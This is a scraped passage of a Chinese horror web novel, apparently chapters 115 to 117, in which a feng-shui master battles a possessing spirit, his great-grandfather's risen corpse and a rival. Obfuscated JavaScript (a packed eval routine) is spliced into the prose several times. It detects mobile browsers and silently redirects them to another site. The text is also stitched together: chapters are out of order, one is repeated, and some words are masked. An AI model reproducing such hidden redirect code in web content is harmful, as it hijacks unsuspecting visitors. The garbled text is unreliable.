这棵树下边儿,一定有东西!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祸害位 我脑子嗡嗡作响,脑袋里的血都在烧,烧得我胸腔闷堵,更烧得我一口逆血像是要涌上来。 后退的步伐,再顿! 我恨不得现在就一步上前,寻龙分金尺一下子敲烂他的头! 尺子是铜做的,胡喋的脑袋是血肉,这一尺子下去,他必然头破血流,哪儿还能刺小人!? 他就是在激怒我! 先前的激怒,被我反应过来了。 他再度激怒,还是要让我去拦他! 拦他,必然出事! 不能拦! 我猛地回转身体,朝着另一个方位疾走! 走的位置,是正东! 身上鸡皮疙瘩一直冒出来,冷汗更是从四肢百骸一直蹿。 另一个清明的感觉流淌自心头。 要抛却表象去看本质,这里最麻烦的问题,不只是鬼的问题,本质是胡喋。 胡喋在绝命,看似是绝命能杀瞿九娘。 可绝命,真的只是杀瞿九娘吗? 若我靠近他,他还能借着方位,这宅杀风水,对我也形成一种杀招呢? 他那么迫切,我必然不能遂了他的念头! 再透过这一切,去看最本质的东西。 祸害在正东! 镇住正东,此间宅杀的风水,就会被镇住! 顷刻间,我走到了正东方。 这里没有房间的门,只有一棵树。 只不过,这棵树不一般,树上拴着红绳,树根下粘稠湿润,靠近了之后,才透着一股子浓郁的血腥气,就好像浇树的不是正常水,而是血! 呼哧的脚步声自后方而来,我余光瞧见了胡喋,胡喋在朝着我迫近,他手中没有拿着小人了,神态分外凶狠。 并且,他还没有开腔吭声。 那架势,就是要上前打杀了我! “东为祸害,祸害为宅主,方位种木,木为生,祸害生生不息,你有病,你久病不愈,人却不死,你有问题,你没有夺舍我之前,你靠着这棵树续命!”我本来是在分析,此刻,我声音大得惊人,甚至连我自己都觉得耳朵生疼! 下一刻,我双目圆睁,还是没有回头,依旧是余光看着胡喋,双手却紧紧握住了尺子,我狠狠发力,朝着树根部位置将尺子扎了下去! 开始感受到了阻隔,是下方有根。 随后,那阻隔破了,我像是听到了噗嗤一声。 再然后,我真就听到了噗嗤一声。 胡喋本来都冲到了我身旁,他噗的一口,喷出一大片血来。 血,浇灌了我半个身子。 胡喋瞪大了眼珠子,满眼的不敢置信。 就像是我不应该能找到这个位置,不应该能做出这一系列行为。 随后,他砰的一声栽倒在地上,像是**一般,动弹不得。 我粗重的喘息着,太阳穴突突的跳动个不停,手还是死死的抓着尺子,没有松开。 胡喋距离我很近,我抬腿,一脚踹在他胸口。 他身体硬得很,哐当一下倒在了地上,发出沉闷声响。 **? 我冒出这个念头。 祸害是胡喋,镇住了祸害,胡喋就**? 我视线从胡喋身上看至院子进来的那个门帘处,瞿九娘还没有过来。 还是出了偏颇,因为这方位**喋利用续命,因此我只是镇住他,没有让那膏肓鬼失去行动力? 本来,我想去前屋,去帮瞿九娘。 可不知道为什么,我又有种心惊肉跳的惧怕感。 胡喋这种人,就算是**,他能死的安分吗? 还有,经过卢家那回事儿,我被人拿走寻龙分金尺,这深刻的给我涨了记性,绝对不敢让法器离开视线中。 默默告诉自己,没事的,瞿九娘有的是本事,她若是没把握对付膏肓鬼,又怎么可能敢让我一个人进院? 想清楚这一切,我蹲身下来,先凑到胡喋身前,伸手探了探他鼻息。 胡喋的呼吸很微弱,没死,也像是个快死的人。 伸手捏住胡喋的脸皮,往上拽,轻而易举就要被拽起来了,还发出粘稠的吧嗒声,内心都涌上来一股恶心。 这其实是村民的脸皮,胡喋披上了另一张人皮。 还没等我松开手,脸皮居然烂了,曝露出胡喋本身那几乎溃烂的皮肤。 距离太近,我闻到了一股难闻的肉味儿。 一个激灵松开手,我没动胡喋的身体,开始刨地! 这棵树下边儿,一定有东西!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368679|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 正因此,我扎了一下,才会直接让胡喋倒地不起。 粘稠的泥巴,血腥气更浓郁,很快,我就挖出来一个相对来说的坑,能瞧见一部分树根,更能瞧见树根缠绕中的一个包袱,寻龙分金尺,就扎在了包袱上,深深没入其中。 这又是什么东西? 我掀开了包袱一角,入目所视的玩意儿,像是一坨肉,很肥腻的肉。 血腥气和胡喋身上的腐臭味儿中,多了一股清香的味道,又带着一丝丝的馥郁。 我吃过这种肉。 前段时间,胡喋还是老鳏夫的时候,他每天中午都炖肉给我吃,我不吃还不行。 那肉,就是来自于这里! 就在这时,耳边忽然听到了一阵轻微响动。 我陡然扭过头,瞧见的赫然是胡喋! 他本来躺尸一样在地上,此刻,居然直挺挺立了起来,直接朝着我身上撞击。 砰的一声闷响,我感觉后背的骨头都要散架了。 我直接被撞到树根下,手一下子没入了坑里,抓到了那肥肉上! 撞了我那一下,胡喋像是失去了全部的力气,又成了趴在地上,他喘息着。 我撑着想要起身,可那肥肉太黏腻,滑溜,居然撑不住力道。 它在蠕动,蠕动着将我双手包裹了起来。 随后,寻龙分金尺正在慢慢往上冒。 它的蠕动,是要将尺子顶出来了! 这肉,竟然像是活物! 太瘆人,太恶心了! 我低吼一声,要起身,可双手就像是扎进了淤泥里边儿,根本起不来。 甚至寻龙分金尺一下子被顶出来,哐当落在了地上。 “嗬,嗝,呵……呵呵……” 怪异的声响从胡喋口中传出,他颤巍巍的抬起头来,被我揪烂的半张脸显得分外可怖,而他的眼睛更带着一丝狰狞,又有一丝喜悦。 “差一点,你知道不,你就差了一点!” “你只是个风水先生,你通阴无阳,孤阴难生镇气,镇得住我一瞬,你镇不住更多了……” “哈……哈哈……哈哈……” 刺啦刺啦的声响,是他头顶的皮破了,满是疮疤的身体正在从破开的人皮中往外钻! 第117章 哪儿来的勇气 痛,我剧痛,骨头像是断裂,像是散架,脑子也在嗡嗡作响,眼前更一阵一阵的发黑。 后背一阵火辣辣的疼,是衣服被卷起来了些,皮肉在地上摩擦。 首先,是先经过了后山。 山脚下的路多是泥巴,更滑溜,摩擦感稍稍弱了一些,至少是能承受了。 再接着是离开了后山,朝着山上走去。 果然,他是真的要将我带回祖坟相对的山洞中。 缓过劲儿来一些,我却不敢去摸仕金盘,直觉告诉我,一旦我再有这种动作,他绝对会再给我来一下。 内心是一阵说不出的煎熬,我却想不到更好的法子了。 夜色凄冷,月光更惨白,照射在太爷爷的身上,他曝露在外的皮肤更暗红,更给人一种说不出的怨气冷意。 他拽着我,走到了白蟾庙外。 上山的必经之路,就是白蟾庙! 此时此刻,庙子冒着幽幽绿光,阴气冲天! 破烂的庙门之前,却站着一个女人,她穿着脏兮兮的衣服,头发很长,随风飘动。 她的皮肤一样充满了暗红,细细的绒毛更深。 她,正在敲门。 咚咚咚的声响,在山林间不停的回荡。 还有一阵阵凄哭夹杂其中,一直喊着还我命来。 那赫然是我妈! 我用六凶神冲煞,让我妈有仇报仇,有怨报怨,她居然找到了白蟾庙,那就说明,陈梁生现在被困在了白蟾庙中? 锁龙井的凶尸,限制了他更多行动! “妈!救命!”我来不及思考,尖声大吼。 我妈本来就会缠我,找我,只是,她不应该只是找我,找陈梁生,一样是她怨气的抒发。 我这一嗓子,顿时让空气变得冷寂! 敲门声停止了。 庙门之前,我妈回过了头。 一声刺耳的尖叫,掩盖了先前所有声音! 我妈动了!朝着山路上奔来! 她速度非常快,头发散乱飞舞,身上的衣服更随风凛冽。 胳膊一下子被松开了,太爷爷凶尸冷冷注视着我妈的方向,他闷不做声,却同样往前迈步,分明是迎了上去! 我喘着粗气,另一手捂着肩膀,颤巍巍站起身来,胳膊感觉都快不是自己的了 本意我是扭头想要朝着山下就跑! 这节骨眼上,还好遇到了我妈,否则,真要被拽进祖坟里,天知道他会对我做什么? 一个激灵,我却看向了白蟾庙。 破洞似的庙门前,不知道什么时候,站着一个人。 这人,赫然是陈梁生! 此刻,他正直勾勾的盯着我! 我呼吸更粗重,眼中透着一丝狠劲儿,骤然抬起手,冲着陈梁生竖了一根中指挑衅! 我刻意就那么盯着陈梁生。 随后,太爷爷和我妈两具凶尸碰在了一处,我妈双臂掐住太爷爷凶尸的脖子,太爷爷双手同样反掐着她! 就是这一瞬,陈梁生从白蟾庙里冲了出来。 我转身,就朝着山下狂奔! 我挑衅他,想要他来追我,他恐怕也在等机会,等我妈被牵制起来的机会! 山坡陡峭而急,我脑子一阵阵的发热,速度越来越快,没有敢回头,稍微踏错一步,就得滚下山去。 我能听到急促的脚步声一直在后方,是陈梁生穷追不舍! 他能离开白蟾庙那么远,就说明了一个缘由。 白蟾庙的凶尸对他的限制,没有那么大,他多半能在村里活动,胡喋才会对火神庙也下奇门遁甲。 大概率是因为我妈找他,因此,他就藏进了白蟾庙,确保自身安全? 本身,蟾山算不上多高。 我很快就冲到了山脚下,能瞧见后山了。 呼吸格外急喘,就像是破风箱似的,脑子也有一阵阵缺氧似的空白。 再跑下去就得要命,我停了下来,喘得更凶。 后方,陈梁生也停了下来,和我保持着差不多还有二三十米的距离,他一样跑的快不行了,不停的粗喘气儿。 眼中的恨,像是潮水一样喷涌而出,我猛地箭射离地,冲向陈梁生! 之所以是这里,是因为远离了白蟾庙,远离了凶尸。 还有,这个地方,陈梁生肯定没有做过任何布局,就是一个平常到不能再平常的山脚! 通晓了风水术,知道这一行的优缺点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382512|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这种情况下面对面,那就要凭借自身的“本事”了! 撞到陈梁生身上的瞬间,陈梁生双手直接来掐我脖子。 我对他恨啊!恨之入骨的恨! 不但他害死我妈,害我当了棺材子,更甚至害**我奶奶,嫁祸给胡喋,借刀**,还抽了我爸一缕魂。 因此,我直接双指朝着他眼睛猛插! 他下的算狠手了,我下的是死手! 陈梁生的动作骤然一变,双手立马朝着脸上一挡,随之他膝盖猛地往上一顶,是要攻我下身! 我动作同样不慢,膝盖迎上,哐当声响中,再加上我前冲的惯性,两人直接栽倒在了地上,滚作一团。 陈梁生挡住我那一戳的同时,我分明感觉到,指甲戳破了他的手,有血,又有肉! 随后,他要抓我手指,我快速握拳,狠狠朝着他鼻梁上就是一下。 只听一声闷哼,陈梁生的鼻子鲜血狂涌。 他转而抓住我衣服,腿要蹬我。 我脑袋狠狠往下一撞,重重撞击在陈梁生的额头上。 这咚的一声,直接让我眼前一黑,陈梁生又是一声闷哼,他腿的劲儿都减弱。 再接着,我狠狠又是一下,撞在他脑门儿上。 陈梁生不动了,他瘫倒在地,没了别的反应。 我还在粗重喘息,颤巍巍直立起身体,一脚踩在他胸口。 “我爸的魂魄,在哪里!?” 脚上重重发力,陈梁生闷哼了一声,他眼神似是涣散,被我撞晕了,鼻子的血淌出来太多,导致嘴巴里都是血,甚至胸口上也是血。 “我问你,我爸的魂魄,在哪里!你说啊!” 我分外眼红,脚上更使劲儿。 陈梁生忽然笑了起来,他翻着白眼,笑得好像眼泪都出来了。 “你爸?那是我爸吧?” “你太可笑了,你也太蠢了,你居然现在都敢和我面对面,我不知道你哪儿来的勇气啊!哈哈!”陈梁生笑声很大,带着一丝丝癫狂,甚至还有一丝丝浓郁的兴奋! 明明他都被我打得动头破血流,还是这样兴奋,就像是现在躺在地上的是我,被踩着胸口的人是我一样! 第115章 她去哪儿了? 嘎吱的声响,像是骨头断裂。 我身体随之窜起,从膏肓鬼骸骨上躲开。 心还在咚咚直跳,而膏肓鬼骸骨,胸腹之间的骨头,居然被我压断了。 再看膏肓鬼,它的惨叫声变得极其微弱,鬼影子更变得极为薄弱,随后哐当一声轻响,地上居然多了一颗黑漆漆的心,心猛烈跳动两下,就不停的抽搐,最后淌出污血,干瘪了下来。 帘子再度被掀开,是瞿九娘冲进来了。 她的老脸分外惨白,又带着一丝丝悚然。 瞧见地上的心,膏肓鬼骸骨,以及胡喋的尸身时,她眼中震惊更多。 “你做了什么?”瞿九娘都像是傻眼了似的。 我低头瞅了一眼自己双手,那股痛感消失不见了,取而代之,是手上被烙印出两处烫伤的痕迹。 又有个急匆匆的脚步声响起,再奔进后院的,正是苟驹。 “我的乖乖。” 苟驹一阵咋舌。 “他在绝命位扎小人,引我过去,我觉得有问题,我冲去了祸害位,祸害位有一棵树,树下有肉,我开始镇住了他,他像是**,可之后,肉活了,他差点儿把我夺舍……” 我回忆先前的一幕幕,将事情复述了一遍。 瞿九娘更显得阴晴不定,眼中后怕更深,哑声说道:“膏肓鬼有些厌恶,人心中的恐惧越重,它就越缠人,我一时间没能脱身,又被小人影响,它尸骸还在槐树上……” 苟驹嘴角咧了咧,才说:“不是让我守着外边儿吗?我是听到了点儿响动,万一我进去,他跑出来,逃走了怎么办?” “还好还好,算是有惊无险了……”苟驹稍有两分悻然。 随后他再看着膏肓鬼尸骸,又看看地上那颗心。 “这种鬼,有点儿特殊啊?算是什么级别的鬼?这尸体呢?” 瞿九娘没吭声解释,径直走向胡喋的尸身,我这才跟了上去。 树还倒在一边,只不过,树根中那块白肉却消失不见了。 我心头都是一凛。 先前明明都打的它没了反应,都没有惨叫声了,我以为已经没事了,可没想到,居然跑了?! “太岁这种东西,本身就罕见,把魂养在了太岁里头,让太岁成了另一部分假身,种下生基在树根中,这又是一棵柳树,柳树之阴,不下于槐树,都是鬼树之一。” “他不要这躯壳,强行夺舍你又失败,乘你不备,跑了。” 瞿九娘的一番话,算是对先前情况有了一部分解释。 “白姝灵呢?”我立马问瞿九娘。 瞿九娘没有吭声,蹲了下去,在胡喋的尸身上摸索,结果,她眼中出现一丝迷惘,分明是一无所获。 我反应过来,立马拿出罗盘,开始在院子其他房间里找。 结果一样是一无所获,根本没有找到白姝灵的魂。 “不会被那个胡喋带走了吧?”苟驹脸色难看的不行。 “勉强藏在太岁中逃走的魂,带不走另一个鬼的,封鬼要用镇物,他作为魂,更带不走,如果不用镇物,现在的白姝灵,能直接把他吃了。”瞿九娘当即摇头。 “一定在这里,仔仔细细,再找!”瞿九娘言之凿凿,又继续说。 我们又仔仔细细找了一遍这院子,几乎连灶台的灰烬都翻了起来,就差掘地三尺了,真就没找到白姝灵的魂魄。 最终,三人又停在院子里面。 瞿九娘的脸色一阵铁青,我内心一样有种说不出来的失重感。 是,胡喋是对付了,少了一个心头大患,可白姝灵被他藏去哪儿了? 一时间,我更充满了懊恼。 如果我没有让胡喋的一缕魂跑掉,那现在完全可以让瞿九娘问话。 结果弄成了现在这样,事情都因此卡顿,无法更多进展。 “要不要考虑一下,他是否有其他的藏身之地,我们再去找一找?”苟驹试探的说。 “我不知道。”瞿九娘四个字,让苟驹一怔,他凝噎不知道如何作答。 夜色寂寥无比,天愈发的黑。 不光是瞿九娘束手无策,我一样如此,完全束手无策。 “是白姝灵先前帮了你吗?”瞿九娘忽然开口问我。 我反应了过来,她指的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381650|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是胡喋夺舍过程中的那一声惨叫。 “如果是她,她就是已经脱困了,只是没有待在这个院子里!”瞿九娘言之凿凿。 我心跳的速度同样加快起来。 “那她会去哪儿?”我没有多想别的可能性。 除了白姝灵,这院子里边儿又有谁能救我呢? 总不可能是胡喋夺舍过程中,他都快成了,忽然发现我天赋异禀异于常人,无法夺舍? 这种想法只是一个笑话罢了,一定是事出有因。 “这,就只能问你自身了。”瞿九娘沉声回答。 “……” 一时间,我答不上来。 如果说,白姝灵是白姝灵还好,主要现在的她,又不是常年和我在一起那部分魂魄为主导。 恐怕先前救我,也是因为她不想我**,我**对她一样有影响。 因此,我完全想不到,白姝灵可能去哪儿。 “这……”苟驹摸了摸下巴,他思索万状。 片刻后,他左手猛击右手掌心,道:“娘们儿能去哪儿?尤其是个鬼娘们儿,要么是自己嫁人的地方,也就是你家里,要么就跑回娘家了呗?” 关于白姝灵的一些细节,当时我和瞿九娘沟通的时候,苟驹就出了土窑洞,**确切情况。 不过,旁观者清,苟驹的说法,还真有那么一丝道理? 当然,去我家,大概率是不可能了。 白姝灵回到自己家里,回到老鳏夫身边,那还是有可能的。 老鳏夫**,成了无皮血尸,最后夺回来了自己皮,胡喋还用奇门遁甲封住了他家。 现在这部分白姝灵对我不感冒,可她总对老鳏夫还是有一丝情分? 再加上,我身上的小人毁了,她可能也得回去找一个能寄存身体的东西? “我去我老丈人家看看,瞿奶奶,要不你和苟叔先回去吧?”我开口之余,语气带着一丝慎重。 瞿九娘蹙眉,她深深的看着我。 “我老丈人未必会对我下死手,可他现在毕竟是凶尸,对其余人就不一定了,我能自保的。”我沉声解释。 第116章 太爷爷 事情分析的差不多了,白姝灵的下落,有了个方向,只要去一趟老鳏夫的家里,自见分晓。 直觉告诉我,老鳏夫成了凶尸,还知道对付胡喋,又没有在村子里闹出其他什么祸端,他本身应该没有多大的问题。 其实,就算苟驹和瞿九娘都跟着我去,大概率都不会出事。 可问题的关键是……我还得找机会,从陈梁生那里将我爸的一缕魂夺回来! 瞿九娘不会答应我这么做,我只能单独行动。 “我们一旦走了,就还有仙家的问题了,那些个大仙儿不是吃素的。”瞿九娘摇摇头。 “只要让玄猫,五黑犬,大鹅,老鸡跟着我,应该就能迎刃而解了吧?”我说。 “我和苟驹远远的跟着你吧,若是老鳏夫要下狠手,保持距离我们能有戒备,你也能对他稍加阻拦。”瞿九娘再度道。 一时间,我反而不知道怎么开口再说。 瞿九娘这态度,十分坚决。 可偏偏这时,苟驹的脸色变了变,有些发白。 瞿九娘的脸色同样变了,豆大豆大的汗珠,顺着她的额头不停淌下,甚至还有一部分渗透进了眼角。 他们两人都盯着我,眼珠瞪大,瞳孔却阵阵紧缩。 “瞿奶奶,你怎么了?苟叔,我脸上有问题?” 我伸手摸了摸自己的脸。 没有摸到任何东西。 这时候,我才发现不对劲。 他们两人,也不算是看着我…… 视线稍稍抬高一些,是在看着我的身后! 噗通一声,瞿九娘居然直挺挺的跪在了地上,不停的发抖。 “操……你……”苟驹似是要骂,同时他双手猛地一抬,是两柄卜刀入手,要朝着我身后猛地斩去! 我动作反应极快,身体骤然往下一顿,是给苟驹动手的空间。 苟驹最终没斩出去! 他双手被擒住了。 被另外一双手擒住了! 那双手,十分宽大,死死的抓住苟驹的小臂,直接将苟驹抬了起来。 苟驹脸色痛苦,发出闷哼声,因为直接将人的手绷直在举起来,就几乎是将人手臂要撇断。 苟驹在挣扎,可又不敢那么用力挣扎,真怕自己手断了。 我陡然前扑了出去,没敢回头,连滚带爬扑到膏肓鬼尸骸前,一把抽出来寻龙分金尺,这才猛地转身! 我本以为,是胡喋百死不僵,又弄出了什么幺蛾子。 可没想到,抓住苟驹的,是一个看起来只是四十余岁的中年男人! 不,他不是人! 从他的皮肤上,能瞧见一丝丝暗红,就像是血色的绒毛生长太多,太深,最后倒回去,贴在了皮肤上。他的模样和爷爷有着五六分相似,甚至和我爸也有几分相似! 他身上穿着整整齐齐的唐装,看上去衣冠笔挺。 只不过,他没有丝毫的情绪,只有死寂。 他,是尸体! 是蟾山之上,和老陈家祖坟相对的另一个墓穴中的尸体! 是我爷爷的父亲! 是我太爷爷! 他,居然从棺材里头爬出来了! 我脑瓜子嗡嗡直响。 我压根没有想到会发生这样一幕。 “轻……轻一点……断……要断了……痛……” 痛喊声总算从苟驹口中传出,他双腿要去蹬我太爷爷。 一时间,我不知道该怎么办啊。 瞿九娘都跪了,她脸动手的勇气都没有。 她又怎么可能动手? 我太爷爷,相当于她的师父。 弟子对师父动手,不就是大逆不道吗? 可总不能眼见着苟驹的手被弄断吧!? “啊!”我一声大吼,直接朝着前方扑去,寻龙分金尺狠狠朝着太爷爷脸上一抽! 哐当一声,是苟驹落地,他小臂被松开了。 苟驹在地上痛得打滚。 同时还有哐当一声,是我太爷爷尸身直挺挺往后一倒,就像是诈尸被止住了一样,直愣愣平躺倒地。 我喘着粗气停了下来。 可呼哧一声,竟是太爷爷的尸身直挺挺又立了起来。 他双手绷直,一下子就点在我心口位置,我根本来不及躲闪,更没有任何反抗的动作。 重重的击打,让我一口气没喘上来,直接倒在了地上。 寻龙分金尺都因此脱手而出。 随后,我太爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382511|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷的尸身,微微垂头,似是注视着我。 身体僵硬的弯下来,抓住我一条腿,将我朝着院子外边儿拖去。 我难受的快要**,呼吸根本就上不来。 沉闷的撞击,是肩膀撞到门槛上,身体又被拉起顶了一下后心,我才感觉呼吸顺畅,大口大口的喘着气儿。 尖锐的鸡叫声骤响。 是路边的老鸡扑腾着翅膀,像是受了惊。 五黑犬凶狠的狂吠,那只玄猫刺耳的叫声,就像是婴儿啼哭。 这三样家畜,都算是辟邪的东西,不光是能对付仙家,更能镇鬼。 唯有那大鹅,最大作用才是对付狐仙。 只不过,饶是它们凶,我太爷爷没有丝毫反应,拖拽着我,朝着一个方向走去。 后背被村路上石子儿划拉的疼痛无比,凶尸力道有多大?正常人根本难以反抗…… 很快,就靠近了火神庙。 我能瞧见地上有些地方有符,这里还有胡喋设下的奇门遁甲。 符其实完全没有那么明显,并不是一眼就能看见,纯属是太爷爷拉着我走过之后,那些符就直接卷曲了。 符有镇尸镇鬼的效果,尤其是奇门遁甲的核心本质不是对付人,是封镇尸鬼。 太爷爷走过去,相当于硬破了符阵,我看见符纸燃烧。 随后经过了火神庙,又朝着一个方向走…… 我远远的,眼神瞟到了后山。 他要去后山? 不,他不是去后山,他是要回蟾山,是硬生生要将我带上山,要将我带回那洞穴中?! 他想干什么? 不寒而栗的感觉涌了上来,我这会儿也缓过来不少了,挣扎着要摸出来仕金盘。 寻龙分金尺落了,仕金盘也是一道大符! 我得镇住他,才能脱困! 可我手还没有摸到仕金盘呢,忽然,感觉整个身体起飞了。 不……不是起飞,是太爷爷猛地将我甩了起来。 砰的一声,我砸在了地上。 这一下子,我感觉五脏六腑都在翻滚,人都快被砸**…… 哪儿还有劲儿去摸仕金盘? 他没有停顿,再度朝着蟾山的方向走去…… 第117章 哪儿来的勇气 痛,我剧痛,骨头像是断裂,像是散架,脑子也在嗡嗡作响,眼前更一阵一阵的发黑。 后背一阵火辣辣的疼,是衣服被卷起来了些,皮肉在地上摩擦。 首先,是先经过了后山。 山脚下的路多是泥巴,更滑溜,摩擦感稍稍弱了一些,至少是能承受了。 再接着是离开了后山,朝着山上走去。 果然,他是真的要将我带回祖坟相对的山洞中。 缓过劲儿来一些,我却不敢去摸仕金盘,直觉告诉我,一旦我再有这种动作,他绝对会再给我来一下。 内心是一阵说不出的煎熬,我却想不到更好的法子了。 夜色凄冷,月光更惨白,照射在太爷爷的身上,他曝露在外的皮肤更暗红,更给人一种说不出的怨气冷意。 他拽着我,走到了白蟾庙外。 上山的必经之路,就是白蟾庙! 此时此刻,庙子冒着幽幽绿光,阴气冲天! 破烂的庙门之前,却站着一个女人,她穿着脏兮兮的衣服,头发很长,随风飘动。 她的皮肤一样充满了暗红,细细的绒毛更深。 她,正在敲门。 咚咚咚的声响,在山林间不停的回荡。 还有一阵阵凄哭夹杂其中,一直喊着还我命来。 那赫然是我妈! 我用六凶神冲煞,让我妈有仇报仇,有怨报怨,她居然找到了白蟾庙,那就说明,陈梁生现在被困在了白蟾庙中? 锁龙井的凶尸,限制了他更多行动! “妈!救命!”我来不及思考,尖声大吼。 我妈本来就会缠我,找我,只是,她不应该只是找我,找陈梁生,一样是她怨气的抒发。 我这一嗓子,顿时让空气变得冷寂! 敲门声停止了。 庙门之前,我妈回过了头。 一声刺耳的尖叫,掩盖了先前所有声音! 我妈动了!朝着山路上奔来! 她速度非常快,头发散乱飞舞,身上的衣服更随风凛冽。 胳膊一下子被松开了,太爷爷凶尸冷冷注视着我妈的方向,他闷不做声,却同样往前迈步,分明是迎了上去! 我喘着粗气,另一手捂着肩膀,颤巍巍站起身来,胳膊感觉都快不是自己的了 本意我是扭头想要朝着山下就跑! 这节骨眼上,还好遇到了我妈,否则,真要被拽进祖坟里,天知道他会对我做什么? 一个激灵,我却看向了白蟾庙。 破洞似的庙门前,不知道什么时候,站着一个人。 这人,赫然是陈梁生! 此刻,他正直勾勾的盯着我! 我呼吸更粗重,眼中透着一丝狠劲儿,骤然抬起手,冲着陈梁生竖了一根中指挑衅! 我刻意就那么盯着陈梁生。 随后,太爷爷和我妈两具凶尸碰在了一处,我妈双臂掐住太爷爷凶尸的脖子,太爷爷双手同样反掐着她! 就是这一瞬,陈梁生从白蟾庙里冲了出来。 我转身,就朝着山下狂奔! 我挑衅他,想要他来追我,他恐怕也在等机会,等我妈被牵制起来的机会! 山坡陡峭而急,我脑子一阵阵的发热,速度越来越快,没有敢回头,稍微踏错一步,就得滚下山去。 我能听到急促的脚步声一直在后方,是陈梁生穷追不舍! 他能离开白蟾庙那么远,就说明了一个缘由。 白蟾庙的凶尸对他的限制,没有那么大,他多半能在村里活动,胡喋才会对火神庙也下奇门遁甲。 大概率是因为我妈找他,因此,他就藏进了白蟾庙,确保自身安全? 本身,蟾山算不上多高。 我很快就冲到了山脚下,能瞧见后山了。 呼吸格外急喘,就像是破风箱似的,脑子也有一阵阵缺氧似的空白。 再跑下去就得要命,我停了下来,喘得更凶。 后方,陈梁生也停了下来,和我保持着差不多还有二三十米的距离,他一样跑的快不行了,不停的粗喘气儿。 眼中的恨,像是潮水一样喷涌而出,我猛地箭射离地,冲向陈梁生! 之所以是这里,是因为远离了白蟾庙,远离了凶尸。 还有,这个地方,陈梁生肯定没有做过任何布局,就是一个平常到不能再平常的山脚! 通晓了风水术,知道这一行的优缺点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382512|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这种情况下面对面,那就要凭借自身的“本事”了! 撞到陈梁生身上的瞬间,陈梁生双手直接来掐我脖子。 我对他恨啊!恨之入骨的恨! 不但他害死我妈,害我当了棺材子,更甚至害**我奶奶,嫁祸给胡喋,借刀**,还抽了我爸一缕魂。 因此,我直接双指朝着他眼睛猛插! 他下的算狠手了,我下的是死手! 陈梁生的动作骤然一变,双手立马朝着脸上一挡,随之他膝盖猛地往上一顶,是要攻我下身! 我动作同样不慢,膝盖迎上,哐当声响中,再加上我前冲的惯性,两人直接栽倒在了地上,滚作一团。 陈梁生挡住我那一戳的同时,我分明感觉到,指甲戳破了他的手,有血,又有肉! 随后,他要抓我手指,我快速握拳,狠狠朝着他鼻梁上就是一下。 只听一声闷哼,陈梁生的鼻子鲜血狂涌。 他转而抓住我衣服,腿要蹬我。 我脑袋狠狠往下一撞,重重撞击在陈梁生的额头上。 这咚的一声,直接让我眼前一黑,陈梁生又是一声闷哼,他腿的劲儿都减弱。 再接着,我狠狠又是一下,撞在他脑门儿上。 陈梁生不动了,他瘫倒在地,没了别的反应。 我还在粗重喘息,颤巍巍直立起身体,一脚踩在他胸口。 “我爸的魂魄,在哪里!?” 脚上重重发力,陈梁生闷哼了一声,他眼神似是涣散,被我撞晕了,鼻子的血淌出来太多,导致嘴巴里都是血,甚至胸口上也是血。 “我问你,我爸的魂魄,在哪里!你说啊!” 